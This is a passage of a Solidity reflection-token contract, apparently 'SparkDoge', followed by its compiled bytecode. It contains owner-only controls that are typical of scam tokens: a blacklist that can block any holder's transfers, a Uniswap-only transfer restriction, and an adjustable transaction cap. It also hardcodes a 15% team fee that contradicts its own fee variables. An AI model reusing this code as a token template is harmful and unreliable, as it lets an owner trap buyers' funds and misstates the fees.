tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280601381526020017f20537061726b446f67652e66696e616e63652000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f20537061726b446f676520000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128bd565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a95949392919061300b565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131ad565b905082848261209b919061317c565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f10565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461221c565b80612157576121566123e7565b5b50505050565b600080600061216a6123f9565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e4e565b60405180910390fd5b50600083856121de919061317c565b9050809150509392505050565b60006008541480156121ff57506000600954145b156122095761221a565b600060088190555060006009819055505b565b60008060008060008061222e8761245b565b95509550955095509550955061228c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236d8161256a565b6123778483612627565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123d49190612ff0565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea00000905061242f683635c9adc5dea000006006546120e690919063ffffffff16565b82101561244e57600654683635c9adc5dea00000935093505050612457565b81819350935050505b9091565b60008060008060008060008060006124778a600854600f612661565b925092509250600061248761215d565b9050600080600061249a8e8787876126f7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061250483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b600080828461251b9190613126565b905083811015612560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255790612ed0565b60405180910390fd5b8091505092915050565b600061257461215d565b9050600061258b828461206b90919063ffffffff16565b90506125df81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61263c826006546124c290919063ffffffff16565b6006819055506126578160075461250c90919063ffffffff16565b6007819055505050565b60008060008061268d606461267f888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126b760646126a9888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126e0826126d2858c6124c290919063ffffffff16565b6124c290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612710858961206b90919063ffffffff16565b90506000612727868961206b90919063ffffffff16565b9050600061273e878961206b90919063ffffffff16565b905060006127678261275985876124c290919063ffffffff16565b6124c290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3602a83613115565b9150612bde8261343c565b604082019050919050565b6000612bf6602283613115565b9150612c018261348b565b604082019050919050565b6000612c19601b83613115565b9150612c24826134da565b602082019050919050565b6000612c3c601d83613115565b9150612c4782613503565b602082019050919050565b6000612c5f602183613115565b9150612c6a8261352c565b604082019050919050565b6000612c82602083613115565b9150612c8d8261357b565b602082019050919050565b6000612ca5602983613115565b9150612cb0826135a4565b604082019050919050565b6000612cc8602583613115565b9150612cd3826135f3565b604082019050919050565b6000612ceb602483613115565b9150612cf682613642565b604082019050919050565b6000612d0e601783613115565b9150612d1982613691565b602082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f737300000000